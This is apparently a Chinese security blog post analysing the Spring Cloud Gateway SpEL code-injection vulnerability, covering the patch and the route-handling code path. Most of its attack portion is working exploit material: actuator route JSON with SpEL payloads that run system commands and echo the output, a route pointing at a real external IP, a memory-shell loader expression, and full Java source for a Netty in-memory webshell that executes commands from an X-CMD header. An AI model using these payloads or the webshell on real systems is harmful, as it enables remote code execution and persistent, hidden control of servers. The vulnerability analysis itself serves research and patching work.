简单分析 diff补丁 https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published
Applications using Spring Cloud Gateway are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.
https://github.com/spring-cloud/spring-cloud-gateway/commit/818fdb653e41cc582e662e085486311b46aa779b
spring-cloud-gateway-server/src/main/java/org/springframework/cloud/gateway/support/ShortcutConfigurable.java
换成了安全的context类:StandardEvaluationContext -> GatewayEvaluationContext(SimpleEvaluationContext)
文档里actuator api + 构建
1 2 3 4 5 6 7 8 9 10 { "id": "first_route", "predicates": [{ "name": "Path", "args": {"_genkey_0":"/first"} }], "filters": [], "uri": "https://www.uri-destination.org", "order": 0 }
调试:
1 2 3 4 5 6 7 8 9 getValue:57, ShortcutConfigurable (org.springframework.cloud.gateway.support) normalize:94, ShortcutConfigurable$ShortcutType$1 (org.springframework.cloud.gateway.support) normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support) bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support) loadGatewayFilters:144, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route) getFilters:176, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route) convertToRoute:117, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route) apply:-1, 398468940 (org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$Lambda$786) onNext:106, FluxMap$MapSubscriber (reactor.core.publisher)
RouteDefinitionRouteLocator#loadGatewayFilters看名字像加载一个filter集合(GatewayFilters)
断点往前面打org.springframework.cloud.gateway.support.ConfigurationService.AbstractBuilder#bind
细看文档
Route Predicates:谓词集合,能根据设置来对请求做校验处理。相当于哪些请求能进,不符合要求的请求就不会被match到
Gateway Filter:针对特定route的局部过滤器,对代理服务器请求前/响应后的数据包(header、body、转发等)做处理,有优先级
Global Filters:全局过滤器。Netty Routing Filter 默认处理客户端来的http/https请求
Actuator API:actuator监控指标的功能端点,可以动态处理路由
1 2 3 4 5 6 7 8 9 10 { "id": "first_route", "predicates": [{ "name": "Path", "args": {"_genkey_0":"/first"} }], "filters": [], "uri": "https://www.uri-destination.org", "order": 0 }
等价于
1 2 3 4 5 6 7 8 9 10 11 spring: cloud: gateway: routes: - id: first_route uri: https://example.org order: 0 predicates: - name: Path args: - /first
回显 出网 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 { "predicates" : [ { "name" : "Path" , "args" : { "_genkey_0" : "/ssrf/**" } } ], "filters" : [ { "name" : "AddRequestHeader" , "args" : { "name" : "Result" , "value" :"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream())).trim()}" } } ], "uri" : "http://101.132.159.30:7777" , "order" : 1 }
不出网 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 { "predicates": [ { "name": "Path", "args": { "_genkey_0": "/ssrf/**" } } ], "filters": [ { "name": "AddResponseHeader", "args": { "name": "Result", "value":"#{new String(T(org.springframework.util.Stre amUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}" } } ], "uri": "http://101.132.159.30:7777", "order": 1 }
内存马 1 #{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}
解决BCEL/js引擎兼容性问题
解决base64在不同版本jdk的兼容问题
可多次运行同类名字节码
解决可能导致的ClassNotFound问题
netty层
channel -> channel pipeline -> handler
一个channel对应一个请求,pipeline在处理请求时才动态构造(和tomcat servlet/filter/listener有一个统一的维护对象不一样),pipeline上的所有handler在这时候才初始化工作。
pipeline初始化组装:reactor.netty.transport.TransportConfig.TransportChannelInitializer#initChannel
但好在netty提供了一个配置类ChannelPipelineConfigurer,可以拓展handler。
reactor.netty.http.server.HttpServerConfig#configureHttp11Pipeline完成组装(调用addXxx方法)
reactor.left.httpCodec -> reactor.left.httpTrafficHandler -> reactor.right.reactiveBridge
reactor.netty.transport.TransportConfig.TransportChannelInitializer#config即HttpServerConfig的doOnChannelInit属性可以传入配置类ChannelPipelineConfigurer,且config这个变量的修饰符很关键,是final非static的,final意味着线程共享,所以才可以在/refresh后实现内存马的注入,且持久保存在doOnChannelInit属性中
用java-object-searcher找一下这个属性在当前线程中的变量维护链,
最后的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 package top.diggid.springcloudgatewayspel.memshell;import io.netty.buffer.Unpooled;import io.netty.channel.*;import io.netty.handler.codec.http.*;import io.netty.util.CharsetUtil;import reactor.netty.ChannelPipelineConfigurer;import reactor.netty.ConnectionObserver;import java.lang.reflect.Array;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.net.SocketAddress;import java.util.Scanner;public class NettyMemshell extends ChannelDuplexHandler implements ChannelPipelineConfigurer { public static String doInject () { String msg = "inject-start" ; try { Method getThreads = Thread.class.getDeclaredMethod("getThreads" ); getThreads.setAccessible(true ); Object threads = getThreads.invoke(null ); for (int i = 0 ; i < Array.getLength(threads); i++) { Object thread = Array.get(threads, i); if (thread != null && thread.getClass().getName().contains("NettyWebServer" )) { Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer" ); _val$disposableServer.setAccessible(true ); Object val$disposableServer = _val$disposableServer.get(thread); Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config" ); _config.setAccessible(true ); Object config = _config.get(val$disposableServer); Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit" ); _doOnChannelInit.setAccessible(true ); _doOnChannelInit.set(config, new NettyMemshell()); msg = "inject-success" ; } } }catch (Exception e){ msg = "inject-error" ; } return msg; } @Override public void onChannelInit (ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) { ChannelPipeline pipeline = channel.pipeline(); pipeline.addBefore("reactor.left.httpTrafficHandler" ,"memshell_handler" ,new NettyMemshell()); } @Override public void channelRead (ChannelHandlerContext ctx, Object msg) throws Exception { if (msg instanceof HttpRequest){ HttpRequest httpRequest = (HttpRequest)msg; try { if (httpRequest.headers().contains("X-CMD" )) { String cmd = httpRequest.headers().get("X-CMD" ); String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A" ).next(); send(ctx, execResult, HttpResponseStatus.OK); return ; } }catch (Exception e){ e.printStackTrace(); } } ctx.fireChannelRead(msg); } private void send (ChannelHandlerContext ctx, String context, HttpResponseStatus status) { FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8)); response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8" ); ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE); } }
spring
Spring层request请求处理组件很多,有handler/Adapter/Filter等等,常见的就是Controller型、Interceptor型、Filter型。这里就拿最简单的Controller型来弄。
但gateway是基于springboot-webflux响应式的,所以和通常spring mvc注入时拿的变量不太一样,但过程是差不多的,而且也不像netty那么麻烦,这个是有相关的类或者变量直接维护组件信息 的,因此我们恶意类只需要向相关类或变量注册组件信息就好,不像netty还得找一个配置类,然后再处理每个请求时才从配置类中拿出handler来组装,而且恶意类本身就是组件
在org.springframework.web.reactive.DispatcherHandler#handle
中
HandlerMapping(request) -> Handler -> HandlerAdapter(Handler) -> Handler#xxx方法
requestMappingHandlerMapping#registerHandlerMethod
方法就可以直接往HandlerMapping中注入Handler
剩下就是requestMappingHandlerMapping怎么拿,可以用之前的一样的方法,但是更简单的是可以直接从SpEL的上下文中获取,因为在执行SpEL之前有一步很关键
1 context.setBeanResolver(new BeanFactoryResolver(beanFactory));
SpEL支持注入BeanFactory到上下文中,可以使用@Xxx
来引用上下文中的Bean,所以
1 doInject(@requestMappingHandlerMapping)
思考 SpEL在spring全家桶中很多解析配置、解析属性、解析值、解析xxx的地方都有使用,因此可能有很多待发掘的组件有类似的漏洞点
参考 https://github.com/spring-cloud/spring-cloud-gateway/commit/818fdb653e41cc582e662e085486311b46aa779b
https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published
https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#spring-cloud-circuitbreaker-filter-factory
https://mp.weixin.qq.com/s/S15erJhHQ4WCVfF0XxDYMg
https://github.com/c0ny1/java-object-searcher
https://www.jianshu.com/p/e0b50053b5d3
https://mp.weixin.qq.com/s/w3et7TzqZ4ctyybEWQ82HQ